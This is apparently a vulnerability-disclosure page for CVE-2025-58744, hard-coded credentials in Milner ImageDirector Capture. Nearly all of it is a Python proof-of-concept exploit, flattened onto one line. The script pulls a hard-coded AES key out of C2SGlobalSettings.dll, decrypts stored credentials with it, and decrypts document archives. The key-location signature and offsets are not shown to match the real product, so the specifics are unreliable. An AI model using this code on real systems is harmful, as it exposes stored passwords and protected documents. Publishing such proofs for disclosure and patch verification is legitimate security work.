CVE-2025-58744: Milner ImageDirector Capture硬编码凭证漏洞

# CVE-2025-58744 PoC - Hard-coded Credentials Exploitation # This PoC demonstrates the extraction of hard-coded encryption key # and decryption of credentials from ImageDirector Capture import ctypes import struct from pathlib import Path def extract_hardcoded_key(dll_path): """Extract hard-coded encryption key from C2SGlobalSettings.dll""" with open(dll_path, 'rb') as f: dll_data = f.read() # Known signature for hard-coded key location key_signature = b'C2SGlobalSettings_Key_v1' key_offset = dll_data.find(key_signature) if key_offset != -1: # Extract 32-byte AES key encryption_key = dll_data[key_offset + len(key_signature):key_offset + len(key_signature) + 32] return encryption_key return None def decrypt_credentials(encrypted_data, key): """Decrypt credentials using extracted hard-coded key""" from Crypto.Cipher import AES cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(encrypted_data) return decrypted.rstrip(b'\x00') def decrypt_archive_file(archive_path, key): """Decrypt document archive using decrypted credentials""" with open(archive_path, 'rb') as f: header = f.read(16) encrypted_content = f.read() from Crypto.Cipher import AES cipher = AES.new(key, AES.MODE_CBC, iv=header[:16]) return cipher.decrypt(encrypted_content) def main(): dll_path = 'C2SGlobalSettings.dll' key = extract_hardcoded_key(dll_path) if key: print(f'[+] Extracted encryption key: {key.hex()}') # Decrypt stored credentials encrypted_creds = bytes.fromhex('YOUR_ENCRYPTED_CREDS_HERE') plaintext_creds = decrypt_credentials(encrypted_creds, key) print(f'[+] Decrypted credentials: {plaintext_creds.decode()}') else: print('[-] Failed to extract encryption key') if __name__ == '__main__': main()